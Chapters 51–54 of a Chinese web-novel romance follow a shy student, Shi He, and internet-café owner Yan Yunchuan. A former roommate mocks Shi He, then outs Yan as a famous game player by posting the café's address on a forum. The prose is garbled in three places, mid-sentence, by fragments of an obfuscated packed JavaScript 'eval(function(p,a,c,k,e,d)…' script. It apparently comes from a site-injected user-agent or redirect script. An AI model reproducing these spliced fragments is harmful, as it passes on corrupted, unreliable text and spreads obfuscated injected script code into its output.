眼瞅两个人要把帮派YY做成美食节目,单身没眼看,“哎哟”一声出来插话:“窝儿啊,柚子搞创作那是精神追求!能跟钱放一块儿比吗?那叫艺术!艺术!就像那什么、阿、阿波罗!懂不!” 林朔野乐了:“妈的!那叫米开朗基罗!” 耳机里传来柚子清脆的笑声。 “不错嘛川儿!” 柚子夸道:“给你发放一张免俗金牌!” 帮派YY几个人吵的好不热闹,话题越吵越偏。时和看着云盘里的视频素材出神。“你眼中的幻世录”。他随机点开一个视频,是童趣节那天录的。长安街道一改往常的严肃,稚子穿梭在大街小巷。视频里,一个小孩跑着跑着摔了一跤,坐在地上擦眼泪,姐姐假装也摔了一跤,起身跺了两下脚,边跺边说:“让你坏!绊我们!看我不踩死你!” 这就是他眼中的幻世录。没有五彩斑斓的特效,没有整齐划一的动作。在他看来,支撑这个世界运转的,其实是这些平日里并不起眼的NPC。 如果有一天幻世录所有的玩家全部下线,卖糖葫芦的小贩照样会在长安街头吆喝。 网吧的中央空调不知道开了多少度,冻的时和胳膊起了一层细细的疙瘩。柚子又讨论回视频大赛的创作内容。时和听着她愁得叹了三声气的声音,犹豫了一会,在队伍频道打了个:NPC。正想发出去,包厢玻璃门响起吱呀一声。 看见宴云川走进来,时和马上切屏。他也不知道自己在心虚什么,好像给人出主意是一件很羞耻的事。因为紧张,他连按了两下“Tab”,页面跳出一个文档,文档一扫而过“星络”、“陪玩”的字眼。这份是星络企划书的半成品,俗称:还不能给老师检查的作业。时和更羞耻了,试图用身体挡住屏幕,又连按好几下“Tab”,按回游戏界面。 游戏里,林朔野和柚子几个人站成一排,穿的花红柳绿,在朱雀大街最显眼的路段跳“社会摇”。旁边里三层外三层围满了看客,还有人起哄让林朔野来一首。林朔野也不客气,开着当前麦就嗷了一嗓子。时和躲在一棵树上。 “想加入?”宴云川走到身后,撑着椅子。 时和把头摇出了三倍速。 “不想。” 太奇怪了。他不明白为什么唐朝的游戏能摇出二十一世纪发明的广场舞。 “社会摇”是幻世录跟当红广场舞组合联动的歌曲改编舞蹈。原名不叫这个,只是它跳起来实在鬼畜,不知道哪个主播起了个头,这诨名就传来了。 宴云川笑了笑,目光扫过屏幕里□□的四个人,突然俯身问:“想玩捕鱼达人吗?” 鼻腔猝然飘来熟悉的气息,时和本能地抬头,疑惑的眼睛对上宴云川眼里的倒影。 他眨了下眼,看着宴云川贴着他的发梢压下身来。T恤顺着额头划过鼻尖,擦得皮肤发痒。本想抬手挡档,宴云川倏地覆上他握着鼠标的手,压下了他所有的动作。 鼠标在桌面上挪了一寸,又点了两下。紧接着,键盘传来哒哒的打字声,不到三秒,宴云川起身,带走了手臂残留的空调温度。 中央空调一定是坏了,时和心想。 时和热得喉结滚了一下,刚被宴云川握过的手仿佛截肢一般,失去了原有的灵活度。他干巴巴地望向屏幕。当前频道留着宴云川刚打出去的四个字:做个成就。屏幕里,一张巨大的桃木网罩在林朔野几人身上,系统播报:恭喜玩家己见达成“为民除害”成就,成功捉拿朱雀大街妖邪尹川、柚子、单身、与被窝天长地久!解锁“镇邪牢”玩法! “隐藏成就,”宴云川瞥见时和惶然的模样,笑着解释,“策划规定社会摇不能在朱雀大街跳,否则一律当作妖邪处理。嗯,大概觉得影响市容。” 刚解释完,帮派YY响起了林朔野杀猪一般的控诉:“靠!肯定是我哥!” 时和:“……” 不愧是兄弟,一猜就中。 到底是自己坐在这给了宴云川下手的机会,时和心里有那么一丝“同流合污”的心虚。他拿起桌上的纸杯抿了一口,又问宴云川:“镇邪牢是什么?” 与此同时,柚子在耳机里问林朔野:“啊?川老板上了大佬的号?不对啊,没见大佬下线啊?” 时和又抿了半杯水。 宴云川回着他刚才的问题:“被捉拿的玩家会被关进镇邪牢里,时间几小时到几天不等。” “那林朔野他们……” “四个小时,以儆效尤。” “别担心,”宴云川拿着手机点了几下,“我给他们转保证金了,可以自己把自己赎出来。” 原来这个玩法是为了骗玩家的保证金。 耳机里本来充斥着林朔野对宴云川的指控。大概是钱到位了,林朔野立马改口:“谢谢川哥哥的火箭炮!川哥哥,你尽管带着宝贝儿玩!弟弟包配合的!”给其他人干沉默了好几分钟。 过了有一会,沈停骂了句:“智障!” 宴云川没待多久又出去了。帮派YY跳过了视频大赛的话题,开始组团在镇邪牢里跳起了新的社会摇。队伍频道留着的“NPC”突然没了发出去的机会。时和迟疑了一下,删掉聊天框里的三个字母,谈不上是庆幸还是失望。 他切回企划书的界面,正想接着往下做,玻璃门又被推开。宴云川拿来了一条毛毯。 ** 时和是被憋出门的。宴云川给他毛毯的时候他其实不冷了,可又不想拂了宴云川的好意。盖上毛毯闷汗的下场便是——他半小时喝光了一整壶水。 包厢开了一条缝,东南西北都能听见窸里窣啦的人声,有骂娘的,有打电话的,还有说梦话的。险在时间尚早,声音只是分散,并不多。 时和透着包厢门缝锁定了人最少的厕所路线。他扣上帽子口罩,低头沿着墙走出去。走到半路,左边游戏区传来一声:“草了!又他妈卖我!” 他脚步没停继续往前走,只是余光往声音方向瞥了一眼,果不其然看见一双红色的跑鞋。 这是他第一次来网吧认错的那个声音很像纪帆的人,基本周末都在。一开始,他听见这声音总会跟条件反射似的僵在原地,后面听久了,到像是暴露治疗一样习惯了。毕竟,纪帆应该不会来星络。 但很多时候,上帝就是爱看笑话。榕城大大小小上百家网吧,星络是其中一家。而星络又有左右有两个洗手间,时和去的是右边。 可就是这么巧,他用了将近两个月验证纪帆不会来星络,又用将近两个月适应那个很像纪帆的声音。最后,所有的准备都敌不过厕所里出来的那人说的一句:“果然是你啊。” 地裂天崩。 “哟,半年就不认识了?”纪帆嗤笑。 时和不知道为什么自己还能站在这里。他声音发哑,喊出了那个阔别许久的名字:“纪帆。” “还能叫上名字,看来没影响智商。”纪帆像是看见好玩的东西,饶有兴致插着兜,“病好了?” 时和没说话。 他身后跟着两个人,一个时和认识,是舍友张航,另一个是个陌生面孔。 陌生面孔打量了时和两眼,问纪帆:“熟人?” 纪帆夸张地喊:“那老熟了!我舍友!学霸!” 陌生面孔明显不信:“学霸来星络?” 大概受了纪帆荼毒,他总觉得苍大的学生傲得很,看不上星络这样的小地方,甚至看不上榕城。 纪帆顺着他的话问时和:“对哦!怎么学霸也来网吧?”脸上有的都是看热闹的兴奋。 时和不知道,他为什么还要站在这里。明明他可以发病,可以逃跑,甚至可以晕倒。可他还能站在这里,听清纪帆说的所有话,只是开不了口。 纪帆也不需要他开口,自己就能唱一出戏。 “你来网吧跟你妈报备了吗?”纪帆问,“不怕你妈再来抓一次,害得别人连书都读不成?”他又探头左右张望几眼,嘲讽地说,“别等会儿你妈突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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张航刚想爆粗,突然,一个打火机越过一排电脑砸进身后垃圾桶。垃圾桶发出爆炸般的“砰”声,摇晃了几下,堪堪站稳。张航吓了一跳。 “不好意思,打歪了。”宴云川走上前,冰凉的胳膊搭着时和肩膀,把人往怀里带了带。 “你谁?”纪帆问。 宴云川笑了:“我穷得很,没有名字。” 纪帆听明白了,这人就是老板。他还在想时和怎么会出现在网吧,这会倒是懂了七八分。他看向时和,又嗤笑一声,笑声里充斥着对时和“堕落”的讥诮:“还真是物以类聚。” 时和后背绷的紧紧的。 宴云川食指在时和肩上点了两下,用另一只手指着墙上宠物不得入内的牌子问纪帆:“认字吗?” 纪帆扬着下巴:“怎么。” “那看来是不认字了。”宴云川说。 说着,他招呼身后待命多时的俞秋:“秋儿,送一下客人,还有他的……宠物。” 俞秋:“来叻!” 俞秋似乎一直在等着这个指令,“宠物”的“物”字余音没散,她就跑到了纪帆和那位熟客跟前。她对熟客说:“不好意思呐,今天招待不周。”又看向纪帆,“你早上充的钱老板已经三倍给你退回去了,星络不欢迎你,还请你离开!” 纪帆心气傲,自尊心又强。被当众羞辱,他整张脸红的比时和还厉害,阔步上前就像给宴云川来一拳,嘴里还想找回场子,气势汹汹地问:“我草了!你他妈什么意思!” 宴云川轻撩撩接过他的拳头:“意思就是,我这是文明网吧,禁狗。听话的狗我通常会睁一只眼闭一只眼,咬人的不行。”周围响起几声口哨。 林朔野带着沈停匆匆跑出来,纪帆已经在被同伴推出门的路上了。他望着纪帆背影刚想问什么情况,转头就瞥见时和一直盯着宴云川,眼睛里的炽热和专注,就像那天在收银台看见的一模一样。 一次是意外,两次通常都是真相。联和之前的一桩桩一见见,从单身说:“如果是小师妹非得处出感情。”到时和出门,方圆三米必有宴云川,所有的一切都变得有迹可循。 林朔野惊出了一身冷汗。 忽然,他的肩膀被人拍了一下。 沈停问:“你怎么了?” “啊?”林朔野回过神。 “没,”他咧着笑,“这不吃瓜没吃热乎吗!” 网吧有了纪帆这一出,变得格外热闹。周围吃瓜的录像的层出不穷,俞秋挨个让他们删掉录像,又一人给了一罐可乐。林朔野一直望着时和。 他没怎么,只是觉得自己做错了一件事。譬如,最开始为了给宴云川脱敏,把时和拉了进来。 可毕竟只是推测,林朔野压下心里的不安,上前喊了声:“宝贝儿!你没事吧!” 纪帆走到门口,听见声音蓦地回过头,又被那位熟客揽着往外走。熟客以为他气不过还想回去搞事,没曾想,纪帆心情莫名其妙放了晴。 “走吧!去对面,我请客。”纪帆说。 52.Chapter·开机 网吧的门被用力推开,又缓缓合上。戏台没了主角儿,那些个看客也就意犹未尽地散了。只剩三三两两几个眼神落在时和身上,有打量的、探究的,还有几个听完了纪帆指控,鄙夷的。那几个鄙夷的眼神在接到宴云川的目光后瞬间缩了回去。 林朔野伸着两只手在时和面前晃来晃去,可时和好像被定住了似的,只是直愣愣地看着宴云川。 “哥——”林朔野转身,看见宴云川正疲惫地揉着眉心。他本想问“刚才发生什么了”,话到嘴边,变成了:“哥,要不先送宝贝儿回家吧?我看……宝贝儿好像不太对劲。”各方面的不对劲。 “嗯。”宴云川望向时和。时和在墙边站得笔直,仿佛对纪帆说的话毫不在意,只是裤腿边握成的拳头一直没有松开,拇指因为用力而微微颤抖。 他走到时和身边,手搭在时和脖子上,感受着手心滚烫的热度。等到手心变得同样滚烫,他才低头很小声地问了句:“带药了吗?” ** 时和到家后才反应过来宴云川问了什么。宴云川陪着他走了一路,刚好是药物起效的时间。外边是酷暑的天,空调没开,他站在客厅里如同堕入冰窖,在网吧被纪帆嘲讽都没有这一刻来的恐惧和绝望——原来宴云川一直知道,知道他的病。 是从什么时候知道的?第一次见面?还是来他家那次?那这段时间的相处……哄他、带他去江边,都是因为他生病了,才特殊照顾……吗……? 跟那些老师一样,因为他是濯清的儿子、因为濯清交代了、因为他是病人、所以对他小心翼翼,对他有不一样的关照。唯独不是因为,他是时和。 墙上的摄像头左右转了几下,像是在寻找监视目标。立柜摆着的一排药瓶,舌尖还未消弭的药片味道都在提醒时和他不正常,他是一个病人。 时和慢慢蹲下,把自己挤进了沙发和茶几之间,像是自欺欺人地给自己找了一片监控死角。 等到他完全坐下,裤兜里有什么东西咯着他发痒。他抻了抻腿,艰难地从裤兜里拿出始作俑者,是两颗水果糖。好像是临走前宴云川给他的。 宴云川…… 时和拆了糖丢进嘴里。蓝莓味的水果糖很快掩盖住了舌尖的药味,大概糖果太甜,甜到心里那点委屈、不安、还有孤独全部激活,放大。 他猛地推开茶几起身,冲到玄关,拉开书包翻找着手机。解锁第一件事便点开通讯录,按着宴云川三个字打了过去。 手机嘟了两下。嘟声停下来,时和以为接通了,又急又快地喊着:“宴云川!”声音在客厅飘飘扬扬,打了几个旋儿,又飘进耳朵里。 电话没有接通,被挂断了。 ** 宴云川已经走出了小区三里地,听见响铃,拿起手机刚看见个备注,屏幕就黑了。他摁了两下开机键,看着屏幕亮出的充电图标,猛然想起来昨晚玩着手机睡着的,早上忙着忘了充。 电话是时和打的。想到时和离开前的状态,宴云川蹙眉,视线往街边扫了一圈。看见马路斜对面的杂货铺,他赶着绿灯倒计时五秒冲过马路,玻璃门还没推开就问:“老板!有充电宝卖吗!” ** “嘟——” “嘟——” “您所拨打的电话已关机……” 客厅响着重复了十六遍的提示音。时和又窝回了沙发角落。手机摆在地上,他一遍又一遍不厌其烦地按着回拨,按到仿佛肌肉记忆,自己动了手。 微信今天好像忙坏了,一会跳一个信息,一下是林朔野,一下是沈停,一下又是俞秋。全世界都能找到他,全世界都在找他,除了宴云川。 重播了第十七遍,时和左手环着膝盖把自己埋了进去,像刺猬一样蜷缩成一团,一根一根给自己竖着刺——宴云川好像不要他了。 当时舍友也是这样不要他的,渐渐疏离之前都有一个挂电话甚至拉黑的流程。 刺竖到半路,手机铃声忽然响了起来。时和猛地抬头,抖掉了刚立好的壳颤抖地拿起手机,瞥了一眼,又双倍失望地放下。是沈停。 铃声响了十几秒,挂断,又响了十几秒,循环往复。不知道响了多久,响到时和好像出现了幻听,在铃声中听见了门铃的声音。 等到门铃声转成激烈又急促地敲门声,时和徒然惊醒。好像……是宴云川? 门外,宴云川不断叩着门,眉眼间的着急随着叩门声愈发深化。叩了几分钟,他转身想按隔壁的门铃借个手机,身后响起了时和的声音。 “宴、宴云川?”时和看着宴云川有些愣,不知道是惊喜多一些,还是惊吓多一些。 今天榕城的室外有三十六七度。宴云川T恤口已经被汗渍浸透,白色勾勒出锁骨的形状,随着呼吸起伏若隐若现。不光T恤,宴云川发梢也都是水渍,像是刚经历一场剧烈的赛跑。 “抱歉,我手机没电了。”这是宴云川喘息间说的第一句话。 “我想买充电宝,那家店没有。”这是第二句。 人的心情很是奇妙,可以因为两声铃声堕入深渊,也能因为两句话融进暖阳。 时和脑子一热,撘错筋似的来了句:“我房间可以洗澡,要进来吗?” 门外的人沉默了半分多钟,笑了一笑:“学弟,每个人你都这么邀请么?” 时和这才回过神来,耳朵瞬间红完了。 “有湿巾吗?”宴云川问。 “没。”时和摇头,“毛巾可以吗?” “你的?” “嗯。” 时和“嗯”的爽快,接到宴云川兴味的笑,他才慌忙解释:“我有新的!” 把人请了进来,时和从卧室拿了条新的毛巾,又回想着濯清上回待客的流程,给宴云川泡了一壶茶。然后,他就坐在沙发一角,看着宴云川白皙的手指裹着深蓝色的毛巾在黑发里穿梭。 “有充电器么?”宴云川又问。 “YI(有)——”时和刚想说“有”,倏地想到自己打出去的那十几个电话。情绪上头的时候没感觉,现在回看处处透着矫情。 想象了一下宴云川手机开机后的场景,他把话咽了下去,眼神飘向桌面来不及收拾的糖果纸,心虚地说:“要在楼上充。”能躲一时是一时。 充上电,他又回到沙发上坐着。时和很想问宴云川是什么时候发现自己的病的,又不想提醒宴云川自己是“病人”这个不争的事实。 他低头望着地砖,从茶几边儿一路望到电视柜的尽头,终于没忍住。 “你……是什么时候发现的?”时和问。 他瞥见宴云川尾指松了一瞬。 宴云川侧过目光:“不算发现,算猜。” 时和抬眸。 宴云川接着说:“第一次猜测是在你来网吧那天,后面接触深了,才敢慢慢确定。我接触过几个焦虑症和社恐症的小孩,你的症状跟他们很像。” 原来一开始就暴露了……时和眼睛垂得更深了些。他又问:“那你……后面,还有江边……” 话音刚落,宴云川在时和头发上抓了两下。 “觉得我是因为你生病才照顾你?” “……” 时和的表情就差把“是的”写在脸上了。 宴云川笑了笑,不知道是不是被气的。 他说:“也有这一部分。”时和马上抬起了眼睛,眼尾透着对答案的不满。 然后,宴云川又说:“可是时和,这不一样。” 桌上的糖果纸在桌面泛着七彩的光,仿佛盖世英雄下凡的那片祥云。糖纸旁边摆着一颗还没拆开的糖,宴云川拿起来,像转火机一样在指尖转了一圈。他问时和:“如果伯母发烧了,你会怎么做?” “……” “去医院。”时和说。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那是大一下学期快放寒假的时候,纪帆提议去隔壁市新开的主题乐园去团建。大概高中拘束久了,上了大学,他总抱着“天高皇帝远”的想法,不管自己想不想做,好像脱离濯清掌控每一件事都值得尝试,他就答应了纪帆。因为当时他所有的付款方式都绑定的濯清账户,所以,他就“买通”了父亲时熵给他买机票,订酒店,买门票。 本来一开始都在计划之内,直到离开主题乐园,濯清都没发现不对劲。可当晚准备回去的时候,纪帆临时答应了海城朋友的酒吧约,邀请他们一块去。他又答应了,可他没想到,濯清那天正好在那家酒吧不远的会所里面谈合同。他出门透气,撞了个正着。 “后面就是纪帆说的那样。”濯清很生气。只是这件事的结局,是时熵替他“顶了罪”。如果不是他,濯清和时熵就不会离婚。所以纪帆说的是真的,“跟我走的近的,总会有各种不顺。” 时和一边说一边观察宴云川的表情。宴云川的确是一个很好的倾听者,时和在他的眼神里看不见任何的责备和质疑,有的只是化不开的柔和。直到他悲天怆地的说完最后一句话,额头才忽然被弹了一下。这是他第一次被弹额头。 时和整个人有点懵,像是一下把智商弹没了,捂着额头愣愣看着宴云川。 宴云川也有点愣。刚才的动作纯属下意识反应,就好像,想弹平时和皱着的眉峰一样。 “咳——”他虚咳一声。 “学弟,我们是社会主义新青年。” 时和还在懵。 宴云川又说:“不要封建迷信。” “我不相信有——”宴云川想说“我不相信有会带来霉运的人”,转而忽然想到自己,这句“新青年”价值观的话一下退回到了清朝。他语气莫名变得很淡:“反正,你不是。” 时和听这句话,总感觉哪里不对。 “为——” 刚想问为什么,桌上的手机跟憋不住了似的疯狂震铃。沈停的备注挂在正中央,着急得很。 “应该是找我的。”宴云川说。 结果,电话接通第一句,便是:“宝贝儿!出事了!你快看群里发的论坛!” 53.Chapter·曝光 没等林朔野把话说完,时和就点开了微信。点进去他发现,根本不用他刻意去群里找论坛的记录,私聊列表所有人都在给他转发。所有人下意识觉得,跟川云有关的事都得让他知道。 他愣了一下,随手点进一个聊天框。论坛链接转出去,内容只有简单的五个字:川云在星络。 发帖人ID叫做:赛博坦废品站站长。IP显示榕城,置顶评论区附赠了一串星络网吧的地址和一张门面图。照片一看就是早上拍的,树影投在玻璃门上,被阳光拉的细细长长的。 幻世录的游戏论坛一天要新增上百万的帖子,有的求助,有的闲聊。上百万的帖子里,评论区过万甚至上千的不超过10%,其中6%都是主播号。可偏偏这样一个大海丢针的地方,一个粉丝量不过五百的ID随手发的一句话,爆了。帖子刚发出半小时多,评论已经到达了十万。 “包是刚才那个搞事的发的!”林朔野在电话里言之凿凿,“他前脚离开帖子后脚就出现了!不是他发的我林朔野直播倒立吃屎!就会玩这种阴沟里的损招!真他妈给苍大丢脸!” “是苍大的吗?是吧?不管了!反正就是他妈丢脸!”电话里的声音枪林弹雨的,恨不得通过无线电波往发帖人身上炮几个窟窿。 电话开的外放,宴云川也能听见,只是手机背光,从他的方向看过去只能看见光雾里透着星星点点。他看着时和脸色倏地变白,蹙眉从时和掌心抽出手机。页面还停留在其中一条评论上。 [不吃鱼的猫:你黑人之前也藏一下自己的历史发帖好么!一个月前还在发贴骂尹川直播抽奖搞关系户,一个月后祸水就引到川云身上了?] 这条评论下面跟着发帖人的回复:[草了!他妈你们这群傻逼!爱信不信!滚!] 这句“草了”,就像在嘲讽时和:你不详。 电话里,林朔野还在义愤填膺地问候发帖人的祖宗八代。时和低着头说:“是纪帆。” 纪帆一直都是这样,吃亏过不了夜,当天准得找机会报复回去。就像半年前,检讨刚念完,出门就给了他一个妈宝的称号,下午全系皆知。 林朔野以为时和在跟他说话,顺口接上:“纪Fan?哪个Fan?翻船的翻吗?还是番剧的番?是苍大的吗?”说着他声音小了两个度,“这我绝对不能忍!待会去苍大论坛曝光他!” 说完,电话传来沈停的声音:“我OK。” 两人不知道在哪,电话那头时不时有汽车鸣笛和电动的喇叭声透过来。宴云川拿着手机往下滑了两页,评论区按时间排序,已经从质疑到了将信将疑。有几个榕城的IP十分钟前表示马上出门。 时和的脸色快融进大理石桌面了。宴云川看过去,行云流水地退出论坛,清掉后台,对电话另一头的林朔野说:“我马上回去。” 林朔野还在指定新一轮的“报复”计划,情绪正上头,听见宴云川的声音,他猛地刹车,语气诧异又迟缓地确认:“哥?” 宴云川“嗯”了一声。 听见宴云川的声音,林朔野像是打本找到了主心骨,声音立马扬起来了,也顾不上纠结为什么时和会和宴云川待一块这件事,说话都带上了两分委屈和着急:“哥!现在怎么办啊?论坛好多人都说要来网吧探探虚实!翁家阳跟秋儿刚才已经接了好几个榕城的了!上来就问川老板是不是在这里!我跟老沈都不敢回网吧!怕给人认出来……” 毕竟是从小在温室长大的花骨朵,第一次经历这样被“人肉”的阵仗,难免慌了手脚。只是他每说一句,时和的脸就白上一分。 宴云川瞥见,头疼地压了压眼窝,压到眼睛冒出酸胀感,才松开手对林朔野交代:“你和沈停先回我那。我手机在充电,等会挂了电话你直接跟秋儿说一声,就说有人起问我,直接承认就——” “承认?!”林朔野截下没说完的话,“哥你疯啦!承认了论坛上的人不得把星络踏平了!” 沈停在一旁附和:“我看马上就要踏平了!” 两人极有默契地一唱一和,丝毫感受不到电话另一头僵化的空气。宴云川看着时和越来越差的神色在心里叹了一叹,心说:“得了,状态好不容易缓解一点儿,现在全回去了。” 他对着电话解释:“随他们去,总不能真把网吧拆了。承认顶多被围观,大家新鲜感只有一阵,真遮遮掩掩反而激起他们好奇,”话是对林朔野说的,宴云川目光却看着时和,像是在宽时和的心。 可时和并没有被宽慰到。 挂断电话,时和埋着头说了句:“对不起。” 宴云川知道,这时候说什么“没事”、“别担心”都像是对着苦瓜说很甜一样苍白。 他把手机放桌上,按着时和半边肩膀,用最平静的语气说:“时和,我从来没有瞒过自己是川云这件事,这是第三次。”言外之意,哪怕没有纪帆,“第三次”也迟早会来。 后来,宴云川又说了很多,从“这半个月网吧人会很多”到“晚上给你打电话”,又从“一般过上十天半个月大家就不会再来了”到“想来网吧我来接你”。时和被心事压着,听得断断续续。 有了论坛的插曲,他浑噩地从房间拿下手机递给宴云川。未读信息提醒如同烟花一样响了一分多钟,他像是忘了自己做的事一样,全程没什么反应。倒是离开前,宴云川忽然对他说:“抱歉,以后不会关机了。”他手指蜷了蜷。 直到晚上,时和才后知后觉发现,宴云川在骗他:如果真的是第三次,那他之前搜宴云川在哪家网吧的时候,不可能搜不到信息。这是第一次。 ** 纪帆的目的达到了。接下来一周,宴云川都忙得不见首尾。网吧遭受了空前未有的客流压力。 自宴云川承认他是川云那天起,论坛就有一堆“打卡成功”的玩家发他们到星络的日程。宴云川估算错了,大家的新鲜感并不会因为见到人而变淡,反而日益高涨。 平日在游戏里,宴云川一直稳坐“神坛”,贴在宴云川身上的标签都是“大神”、“只可远观”、“高岭之花”这类非人化的词语。 大家隔着游戏给宴云川塑造了一个想象中的完美形象。可形象越是“完美”,就越让人好奇。就像追星,大家希望明星在舞台闪闪发光,又不断窥探明星生活,想让他们“更接地气”。 宴云川因为忙而无暇顾及游戏,时和也没了玩的兴致。他每天上线就钻进宴云川庄园,因为在那儿可以看见挂机的宴云川。 就这么“颓”了几天,单身看不下去了。他以为时和没了师父“孤立无援”,所以不敢“出门”,二话不说发了个组队申请。 组队那会,时和正在刷论坛做笔记。等他切屏回游戏,组队已经超时了。 他收到了单身的信息:[见儿啊!没你师父还有哥呢!咱要振作啊!再说了!你师父是谁啊?川云!川老板!相信哥,真没川老板搞不定的事儿!乖啊,哥带你刷本刷日常!] 时和心说:是人就会有搞不定的事。 他回道:[谢谢。] 这就是拒绝的意思。 消息刚发出去没五分钟,单身出现在了宴云川庄园。他一来就开着当前麦夸张“霍”了一下:“好家伙!没看ID我还以为你师父背着我找对象了!”说着,他又骑着凤凰挤进两只并靠的白虎中间。 成功跻身进去后,单身开玩笑地问时和:“嘶,我怎么感觉我像个插足的第三者呢?” 不等时和打字,单身又说:“你跟你师父也是绝了,他不玩你不玩的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等人骂骂咧咧离开,林朔野彻底瘫了。他趴在电脑前面,斜眼看着通宵三天又刚跟人大战八百回合的宴云川跟没事人一样给客人开卡,还在极有耐心的解答一些本不属于网吧业务范围的问题。 譬如,有人问:“可以加你的微信吗?” 宴云川笑笑说:“女朋友会吃醋。” 又有人问:“能教我打PK不?” 宴云川问了她的职业,说了一些PK技巧。 直到后面,一男生问:“见爹是男生吗?” 宴云川没有马上回复,而是反问:“怎么了?” 那人摆摆手:“别人托我问的。这不马上七夕了嘛,她想跟你借见爹一个月组组CP!” 林朔野听得连咳了好几声。 他给那人竖了个拇指,那人抱拳回了个客气。 其实刚开始那几天,这些人没有这么飘,问的问题都算正常。可宴云川太“接地气”了,丝毫没有游戏里的“架子”。那些从网吧回去的人带着滤镜宣传了一番,就成了现在这幅模样。 林朔野看着宴云川,跟男生一起等他回复。 “他——” 宴云川刚要开口,桌上的手机震了起来。 “抱歉,我接个电话。”宴云川指了指门外。 不知怎的,林朔野在宴云川离开的背影里看出了几分逃避的意味。他揉了揉眼睛,以为自己看花了眼。再想看清楚的时候,宴云川已经走出去了。 网吧门口,宴云川接起电话,称呼不自觉地放缓:“时和,怎么了?” 电话那头的人沉默了两分钟,忽然问:“宴云川,你相信我吗?” 54.Chapter·决定 网吧有大动作,这几天来网吧的客人都感受到了一种不同寻常的气息。起初,是网吧收银台旁边突然多了两张升降电脑桌,再然后,收银台前面装上了投影。隔天,沈停又搬了两台显示器。 有人忍不住好奇问沈停:“这是要做什么?” 沈停眉头一挑:“你猜。” 那人心痒,不想猜,转头又去问林朔野。林朔野招招手,让人靠近点儿。 等人靠近,他伏在耳边贱兮兮地说:“嘿嘿!过两天就知道了!”给那人愣的好半天没缓过来。 因为两人“饥饿营销”式的回答,接连两天,网吧客人比论坛刚爆那会还要多。这些人每天跟上班打卡似的往网吧跑,就想看看网吧到底要干嘛。 这天一早,宴云川在收银台旁边贴了一张半人高的活动海报。海报刚贴上去,就有四五成群的人伺机而动凑了上来,像是狩猎已久。 有人指着海报内容逐字的念:“不、服、来、战,网吧1V1擂台争霸赛……” 才念两句,旁边的人已经一目十行看完了。 “卧槽!打擂台可以得666的网费?” “这个陪玩系统是什么?” “这意思是……报陪玩,九成的钱我都能拿?” “还可以报名临时网管诶!” “每天十个名额……现在可以扫码了吗!” “…” 五分钟的功夫,收银台围了十几个人,叽叽喳喳,讨论声比游戏世界频道还要热闹。那些在补觉的客人听见声音也爬了起来。不一会,俞秋和翁家阳身边就淹了几个咨询怎么报名网管和陪玩的,擂台区坐着的林朔野和沈停也被攻陷。 宴云川走出去,半小时后又抱着一台笔记本走进来。好在网吧留守过夜的人口有限,他进来的时候“世界频道”已经消停了不少,只剩三个在纠结要不要报名陪玩的人围在海报前讨论。 他把笔记本递给林朔野:“装下系统。” 刚递过去,就听见一声“卧槽”。海报前站着的三个人惶惑看过来,就看见林朔野抱着一台黑色笔记本,两眼跟装了钛合金一样发光发亮。 “抱歉抱歉啊!”林朔野对那三个人抱了下拳。 等三人一脸迟疑转回去,林朔野做贼似的左右张望两下,跟捧圣杯似的捧着电脑凑到宴云川身边。他掩着声音问:“哥,你一大早上哪打劫去了?被人看见了吗?留指纹了吗?” 宴云川瞥了这位戏精一眼。许是心情不错,他难得配合了一回:“你说晚了,打劫的时候没带手套,还给人看了脸。记得准备好钱给我取保候审。” 林朔野发神经那是家常便饭,可让宴云打配合那实属罕见。沈停本来在测试他那台笔记本接外显的刷新频率,听见两人咪咪摸摸——主要是林朔野咪咪摸摸——他跟着起身走过去。 “发什么梦呢。”沈停勾过林朔野脖子。 “欸欸——”林朔野搂紧笔记本,用手肘把沈停推出去,“小心着点!我手里东西跟我一样值钱!” “呵。”沈停一声冷笑,“你最多两毛。” “诺。”林朔野把两毛钱递过去。 下一秒,就听见一声一模一样的“卧槽”。 “微星泰坦?”沈停抬头,“学长,你哪弄的?” 宴云川说:“时和的。” 说出这个名字的时候,宴云川看见林朔野眼皮抬了一下,像是有话要说,一晃眼又没了。他只当林朔野面部表情丰富,又对两人说:“这台电脑还没下游戏,你们装好系统顺便把游戏下了。” “学长,”沈停咂摸着下巴,开玩笑似的问,“把五万的本儿摆三百的桌上,这合适吗!” 宴云川拍了拍沈停肩膀,往门口走,边走边说:“不合适,所以你和他轮流端着。” 沈停笑了笑。 走到门口,林朔野忽然喊:“哥!你去哪!” 这问题问的多少有点莫名其妙。宴云川出门很少有报备的习惯,除非要出几个钟,才会对俞秋或者林朔野交代什么。久而久之,林朔野也不会问宴云川去哪,真要找人打个电话的事儿。 但宴云川还是回了句:“吃个早餐。” “跟宝贝儿吗?” “嗯。” 宴云川又看到了那样欲言又止的眼神。眼神依旧转瞬即逝,就好像被空调冷风眯了眼。 “你——” 他刚准备问缘由,林朔野两步跨上来:“哥!带我一个呗!我都好久没见宝贝儿了!” 话音刚落,沈停一把把人拉了回去。 “你大爷!你他妈刚吃早餐又吃!” “我忙饿了不行?!” “不行!老老实实陪我在这做牛做马!” “你、我他——服了你个傻逼!” “…” 两人在身后吵得不可开交。 兜里的手机震了一下,宴云川看见信息,也省了拉架的心,丢下一句:“要吃什么微信我,我等下打包回来。”就走出了网吧。 ** 时和坐在粥铺不远一家没开门的小吃店门口刷着平板。论坛的消息以分钟的速度进行更新,网吧刚发生的事没两分钟就能传到评论区。比如之前那些闹事的人,还有今天刚贴上去的海报。 网吧第一次举办这样的活动,评论区讨论的比官方活动还要兴奋,好几个自来水发着活动信息,还有人放了网管报名的二维码。不过就目前评论来看,陪玩玩法讨论度最高,跟他预估方向一样。 